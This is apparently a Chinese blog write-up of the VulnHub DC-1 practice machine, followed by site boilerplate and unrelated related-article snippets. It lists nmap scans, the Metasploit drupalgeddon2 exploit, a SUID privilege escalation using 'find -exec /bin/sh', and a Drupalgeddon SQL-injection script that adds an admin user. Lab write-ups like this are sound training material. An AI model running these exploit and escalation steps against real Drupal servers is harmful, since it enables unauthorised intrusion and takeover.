靶場練習第九天~vulnhub靶場之dc-1

一、環境搭建

靶場下載鏈接: 百度網盤 請輸入提取碼 提取碼: ih67

1.查看kali的ip:ifconfig

二、信息收集

1.使用namp命令

主機探測: nmap -sP 192.168.101.0/24

?查看靶機開放端口號和服務:nmap -A 192.168.101.111

發現開放80端口,訪問一下192.168.101.111

Drupal簡介:

Drupal是開源CMS之一,Drupal是CMS內容管理系統,并且在世界各地使用,受到高度贊賞,Drupal可以作為開源軟件免費使用。

Drupal大致可以分為基本部分和附加擴展,基本部分稱為核心模塊,包含作為CMS運行的標準程序,還可以根據要構建的網站隨時添加必要的功能,是一個擴展模塊,同時也是一個額外的擴展,具有一定的靈活性,因為它可以從各種功能中進行選擇或組合使用。簡單說就是附帶了cms的php開發框架

2.使用msfconsole框架,看看有沒有能夠利用的腳本

在kali輸入msfconsole,進入msf框架

?查看一下Drupal網站有什么可以利用的腳本:search drupal

使用第二個腳本: use exploit/unix/webapp/drupal_drupalgeddon2

查看要設置的參數:show options

設置一下RHOST:set RHOST 192.168.101.111

設置完參數直接,run執行一下攻擊

三、提權

1.得到一個低權限用戶

使用shell,進入到后臺,并且用whoami查看當前用戶

優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):

python -c ‘import pty;pty.spawn(“/bin/bash”)’

2.SUID提權

(1)查看具有的SUID的二進制可執行文件:find / -user root -perm -4000 -print 2>/dev/null

(2)已知的可用來提權的linux可行性文件列表如下:nmap、vim、find、bash、more、less、nano、cp

(3)利用find獲得root權限shell:find / -name cron.php -exec "/bin/sh" \ ;

如上圖所示已經拿到該靶機root用戶權限,尋找flag文件:find / -name "*flag*.txt"

?分別cat /home/flag4/flag4.txt 、/var/www/flag1.txt、/root/thefinlflag.txt

3.拿到Drupal管理員權限

drupal使用CVE2014-3704添加管理員賬號

CVE2014-3704腳本下載鏈接:Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) - PHP webapps Exploit,使用的版本drupal:7.0-7.31

調用剛才下載好的腳本:Python 34992.py

調用腳本并且設置對象和登錄到用戶密碼python 34992.py -t http://192.168.101.111 -u 1234 -p 1234

?進入最后給的那個地址,用自己創建的用戶密碼登錄到網站后臺

發現flag3

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/375057.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/375057.shtml
英文地址,請注明出處:http://en.pswp.cn/news/375057.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

4~20mA模擬輸出(電流環)應用筆記(轉)

4~20mA模擬輸出&#xff08;電流環&#xff09;應用筆記 bpesun163.com 前言 4-20mA.DC(1-5V.DC)信號制是國際電工委員會(IEC):過程控制系統用模擬信號標準。 在工業現場&#xff0c;如果采集的信號經調理后是電壓信號并且進行長線傳輸&#xff0c;會產生以下問題&#xff1a; …

ADO多線程數據庫查詢

ADO多線程數據庫查詢通常會出現3個問題&#xff1a;1、CoInitialize 沒有調用 &#xff08;CoInitialize was not called&#xff09;&#xff1b;所以&#xff0c;在使用任何dbGo對象前&#xff0c;必須手 調用CoInitialize和CoUninitialize。調用CoInitialize失敗會產生"…

PHPExcel

excel文檔處理對象主要用來管理我們的excel文檔&#xff0c;怎么來管理&#xff08;通過屬性和方法來管理&#xff09;&#xff1f;大家知道&#xff0c;類主要是由屬性和方法來組成&#xff0c;通過php程序的手段來管理excel文檔&#xff0c;其實就是通過本對象的屬性和方法來…

靶場練習第十天~vulnhub靶場之dc-2

一、準備工作 靶機下載地址鏈接: 百度網盤 請輸入提取碼 提取碼: ib86 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;使用nmap 192.168.101.0/24&#xff0c;發現靶機地址為192.168.101.115 &#xff08;2&#xff09;對靶機做進一步探測&#xff0c;發現靶機開…

Ubuntu 14.10 創建虛擬網卡實現橋接網絡

目標需求&#xff1a;在Ubuntu主機創建一張虛擬網卡&#xff0c;使得搭建在VirtualBox中的其他主機能借助虛擬網卡構建的局域網進行相互間的通訊 步驟一&#xff1a;準備工具包 安裝 uml-utilities 以及 bridge-utils sudo apt-get install uml-utilities bridge-utils 步驟二&…

iOS定時器-- NSTimer 和CADisplaylink

iOS定時器-- NSTimer 和CADisplaylink 一、iOS中有兩種不同的定時器&#xff1a; 1. NSTimer&#xff08;時間間隔可以任意設定&#xff0c;最小0.1ms&#xff09;// If seconds is less than or equal to 0.0, this method chooses the nonnegative value of 0.1 millisecond…

靶場練習第十一天~vulnhub靶場之dc-3

一、準備工作 1.靶場鏈接: 百度網盤 請輸入提取碼 提取碼: 48d3 2.啟動靶場后會遇到如下情況&#xff1a; 2-1具體解決辦法如下&#xff1a; 啟動成功 3.查看kali的ip&#xff1a;ifconfig 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;尋找靶機的ip&#xf…

UNIX環境高級編程一書中apue.h找不到

apue.h是作者為了方便自己寫的一個庫&#xff0c;在http://www.apuebook.com選擇你對應書中的source code&#xff0c;然后解壓壓縮包中在/include/apue.h以及/lib/error.c復制到你文件系統中/usr/include中即可。另外在apue.h中#include "error.c"即可。這樣gcc編譯…

大齡程序員怎樣渡過中年危機?(轉)

大齡程序員怎樣渡過中年危機&#xff1f; 作者前言&#xff1a; 話說再有十幾天就進入2016年了&#xff0c;想到這&#xff0c;我不由得五味雜陳。2016年對我來說是一個特殊的年份&#xff0c;因為我即將40歲了&#xff0c;人生正式告別青年期&#xff0c;進入中年了。 在娛樂圈…

靶場練習第十二天~vulnhub靶場之dc-4

一、準備工作 1.靶機下載鏈接 鏈接: 百度網盤 請輸入提取碼 提取碼: 3hq4 2.用ifconfig查看kali的ip 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;主機發現 命令&#xff1a;nmap 192.168.101.0/24 &#xff08;2&#xff09;掃描靶機詳細信息 發現主機 192…

網絡命令-nc(二)

繼續Netcat 這個命令吧 1&#xff1a;遠程拷貝文件 在本地輸出 文件debian.img 到 192.168.5.40 主機12345端口監聽 nc -v 192.168.5.40 12345 < debian.img 在192.168.5.40 主機12345端口監聽&#xff0c;將文件指定為debian-copy.img nc -l -v 12345 > debian-copy.im…

靶場練習第十三天~vulnhub靶場之dc-5

一、準備工作 1.靶機環境搭建 下載鏈接: https://pan.baidu.com/s/1csvuJ_NVCBvVr75KhxyM3Q?pwdxie7 提取碼: xie7 2.kali的ip 命令&#xff1a;ifconfig 3.kali和靶機的都設置為NAT模式 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;尋找靶機的ip 命令&…

Ubuntu中輸入輸出重定向及管道技術簡述

輸出 1、標準輸出 定義&#xff1a;程序在默認情況下輸出結果的地方&#xff08;stdout&#xff09;。 2、輸出重定向 定義&#xff1a;用于把數據的輸出轉移到另一個地方去。 3、Ubuntu中例子 $ls > ~/ls_out ##不顯示在顯示器上而是輸入到文件ls_out中 uname -r > ls_…

activex打包

http://www.cnblogs.com/weiwin/p/4493835.html activeX 打包 原文 http://www.docin.com/p-409284488.html CAB打包文檔說明 文檔目的本文檔的目的在于說明將ocx和dll以及相關的文件打包成一個CAB包&#xff0c;以便在網頁下調用ocx控件時免去手工將dll和其他一下文件拷貝到客…

靶場練習第十四天~vulnhub靶場之dc-6

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接: 百度網盤 請輸入提取碼 提取碼: bazx 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip 命令&#xff1a;sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#…

最短路徑Dijkstra算法和Floyd算法整理、

轉載自&#xff1a;http://www.cnblogs.com/biyeymyhjob/archive/2012/07/31/2615833.html 最短路徑—Dijkstra算法和Floyd算法 Dijkstra算法 1.定義概覽 Dijkstra(迪杰斯特拉)算法是典型的單源最短路徑算法&#xff0c;用于計算一個節點到其他所有節點的最短路徑。主要特點是以…

Java Script 中 ==(Equal) 和 === (Identity Equal) 的區別和比較算法邏輯

判斷兩個變量是否相等在任何編程語言中都是非常重要的功能。 JavaScript 提供了 和 兩種判斷兩個變量是否相等的運算符&#xff0c;但我們開始學習的時候 JavaScript 的時候&#xff0c;就被一遍又一遍的告知&#xff1a; 要求變量的類型和值均相等&#xff0c;才能返回true…

靶場練習第十五天~vulnhub靶場之dc-7

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接:https://download.vulnhub.com/dc/DC-7.zip 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&…

ubuntu系統下如何修改host

Ubuntu系統的Hosts只需修改/etc/hosts文件&#xff0c;在目錄中還有一個hosts.conf文件&#xff0c;剛開始還以為只需要修改這個就可以了&#xff0c;結果發現是需要修改hosts。修改完之后要重啟網絡。具體過程如下&#xff1a;1、修改hostssudo gedit /etc/hosts2、添加解析記…

Matplotlib不顯示圖形

安裝好了Matplotlib&#xff0c;使用官方一個例子測試運行時&#xff0c;發現使用畫圖功能時&#xff0c;運行腳本老是顯示不出圖像&#xff0c;Google了一下&#xff0c;后來發現是matplotlibrc文件沒配置好。 參考了官方文檔&#xff0c;修改步驟如下 1.查找matplotlibrc文件…